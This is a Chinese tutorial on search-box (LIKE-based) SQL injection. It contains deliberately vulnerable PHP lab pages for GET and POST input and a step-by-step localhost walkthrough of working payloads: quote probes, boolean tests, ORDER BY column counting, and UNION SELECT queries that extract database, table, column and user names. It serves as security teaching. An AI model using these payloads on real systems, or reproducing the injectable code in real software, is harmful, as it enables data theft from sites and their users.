一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;
其中又分为 POST/GET
,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get"
属性来区分是get还是post。搜索型注入又称为文本框注入。
一般后台搜索组合的SQL语句如下:
$sql = "select * from user where password like '%$pwd%' order by password";
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
ryan'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:
$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";
此时就存在SQL注入。
like 匹配/模糊匹配,会与 %
和 _
结合使用。
'%a' //以a结尾的数据 'a%' //以a开头的数据 '%a%' //含有a的数据 '_a_' //三位且中间字母是a的 '_a' //两位且结尾字母是a的 'a_' //两位且开头字母是a的
查询以 java 字段开头的信息。
SELECT * FROM position WHERE name LIKE 'java%';
查询包含 java 字段的信息。
SELECT * FROM position WHERE name LIKE '%java%';
查询以 java 字段结尾的信息。
SELECT * FROM position WHERE name LIKE '%java';
keywords'
,如果出错的话,有90%的可能性存在注入;keywords%' and 1=1 and '%'='
(这个语句的功能就相当于普通SQL注入的 and 1=1
)看返回情况;keywords%' and 1=2 and '%'='
(这个语句的功能就相当于普通SQL注入的 and 1=2
)看返回情况;以下几种语句也都可以:
'and 1=1 and '%'=' %' and 1=1 --+' %' and 1=1 and '%'='
<?php header("Content-Type:text/html;charset=utf-8"); $pwd = $_GET['pwd']; $conn = mysql_connect("127.0.0.1:8889","root","root"); if($conn){ echo "连接数据库成功!"; } echo "<br>"; mysql_select_db('ryan',$conn); $sql = "select * from user where password like '%$pwd%' order by password"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "用户ID:".$row['id']."<br>"; echo "用户名:".$row['username']."<br>"; echo "用户密码:".$row['password']."<br>"; echo "用户邮箱:".$row['email']."<br>"; }else{ print_r(mysql_error()); } mysql_close($conn); echo "<hr>"; echo "你当前执行的sql语句为:"."<br>"; echo $sql; ?>
访问靶场
输入正常关键字进行查询
http://localhost:8888/get.php?pwd=ryan
加单引号进行尝试
http://localhost:8888/get.php?pwd=ryan'
加单引号出现报错,报错中出现 %
号,猜测可能为搜索型注入
使用以下payload进行测试
http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'=' 或者 http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+
正常显示
继续尝试以下payload
http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='
无内容显示
通过以上测试,证明存在SQL注入漏洞
使用 order by
判断列数
http://localhost:8888/get.php?pwd=ryan%' order by 5 --+
order by 5时,报错
http://localhost:8888/get.php?pwd=ryan%' order by 4 --+
order by 4 时,正常显示
说明该数据表列数为4
判断回显位
http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+
获取数据库名
http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+
获取表名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+
获取列名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+
获取数据
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+
<?php header("Content-Type:text/html;charset=utf-8"); $id = $_POST['id']; $conn = mysql_connect("127.0.0.1:8889","root","root"); if($conn){ echo "连接数据库成功!"; } echo "<br>"; mysql_select_db('ryan',$conn); $sql = "select * from user where id like '%$id%' order by id"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "用户ID:".$row['id']."<br>"; echo "用户名:".$row['username']."<br>"; echo "用户密码:".$row['password']."<br>"; echo "用户邮箱:".$row['email']."<br>"; }else{ print_r(mysql_error()); } mysql_close($conn); echo "<hr>"; echo "你当前执行的sql语句为:"."<br>"; echo $sql; ?> <form action="" method="POST"> id:<input name="id" type="text" /><br><br> <input name="" type="submit" value="提交" /> </form>
访问靶场
正常查询id,使用burp抓包
加单引号进行尝试
id=1'
出现报错,且报错中出现 %
号,猜测是搜索型注入
使用以下payload进行测试
id=1%' and 1=1 --+
正常显示
id=1%' and 1=2 --+
无显示,判断存在注入
使用order by 判断列数
id=1%' order by 5 --+
id=1%' order by 4 --+
说明该表列数为4
判断回显位
id=abc%' union select 1,2,3,4 --+
其他操作跟以上GET型案例相同